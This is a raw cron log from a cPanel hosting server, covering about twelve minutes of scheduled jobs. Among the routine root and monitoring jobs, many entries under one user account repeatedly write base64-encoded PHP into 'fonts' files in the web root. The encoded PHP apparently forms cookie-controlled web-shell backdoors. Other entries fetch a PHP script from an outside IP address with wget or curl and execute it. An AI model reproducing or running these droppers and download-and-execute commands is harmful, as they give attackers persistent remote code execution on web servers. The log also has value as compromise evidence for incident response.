Sep  5 14:00:01 ip-184-168-122-23 CROND[29639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:01:01 ip-184-168-122-23 CROND[29734]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:01:01 ip-184-168-122-23 CROND[29735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:01:01 ip-184-168-122-23 CROND[29737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:01:01 ip-184-168-122-23 CROND[29733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:01:01 ip-184-168-122-23 CROND[29739]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 14:01:01 ip-184-168-122-23 CROND[29736]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[29739]: starting 0anacron
Sep  5 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[29754]: finished 0anacron
Sep  5 14:02:01 ip-184-168-122-23 CROND[666]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:02:01 ip-184-168-122-23 CROND[670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:02:01 ip-184-168-122-23 CROND[669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:02:01 ip-184-168-122-23 CROND[674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:02:01 ip-184-168-122-23 CROND[672]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:03:01 ip-184-168-122-23 CROND[769]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:03:01 ip-184-168-122-23 CROND[772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:03:01 ip-184-168-122-23 CROND[771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:03:01 ip-184-168-122-23 CROND[773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:04:01 ip-184-168-122-23 CROND[852]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:04:01 ip-184-168-122-23 CROND[856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:04:01 ip-184-168-122-23 CROND[853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:04:01 ip-184-168-122-23 CROND[854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:04:01 ip-184-168-122-23 CROND[855]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:05:01 ip-184-168-122-23 CROND[949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:05:01 ip-184-168-122-23 CROND[950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:05:01 ip-184-168-122-23 CROND[953]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 14:05:01 ip-184-168-122-23 CROND[955]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 14:05:01 ip-184-168-122-23 CROND[952]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 14:05:01 ip-184-168-122-23 CROND[954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:05:01 ip-184-168-122-23 CROND[957]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:06:01 ip-184-168-122-23 CROND[1044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:06:01 ip-184-168-122-23 CROND[1046]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:06:01 ip-184-168-122-23 CROND[1045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:06:01 ip-184-168-122-23 CROND[1047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:06:01 ip-184-168-122-23 CROND[1048]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:07:01 ip-184-168-122-23 CROND[1204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:07:01 ip-184-168-122-23 CROND[1209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:07:01 ip-184-168-122-23 CROND[1207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:07:01 ip-184-168-122-23 CROND[1208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:08:01 ip-184-168-122-23 CROND[1358]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:08:01 ip-184-168-122-23 CROND[1359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:08:01 ip-184-168-122-23 CROND[1361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:08:01 ip-184-168-122-23 CROND[1360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:08:01 ip-184-168-122-23 CROND[1362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:09:01 ip-184-168-122-23 CROND[1482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:09:01 ip-184-168-122-23 CROND[1483]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 14:09:01 ip-184-168-122-23 CROND[1484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:09:01 ip-184-168-122-23 CROND[1487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:09:01 ip-184-168-122-23 CROND[1486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:10:01 ip-184-168-122-23 CROND[1583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:10:01 ip-184-168-122-23 CROND[1580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:10:01 ip-184-168-122-23 CROND[1582]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:10:01 ip-184-168-122-23 CROND[1579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:10:01 ip-184-168-122-23 CROND[1581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:10:01 ip-184-168-122-23 CROND[1584]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 14:10:01 ip-184-168-122-23 CROND[1585]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 14:10:01 ip-184-168-122-23 CROND[1587]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 14:11:01 ip-184-168-122-23 CROND[1679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:11:01 ip-184-168-122-23 CROND[1680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:11:01 ip-184-168-122-23 CROND[1681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:11:01 ip-184-168-122-23 CROND[1682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:12:01 ip-184-168-122-23 CROND[1767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:12:01 ip-184-168-122-23 CROND[1769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:12:01 ip-184-168-122-23 CROND[1771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:12:01 ip-184-168-122-23 CROND[1768]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
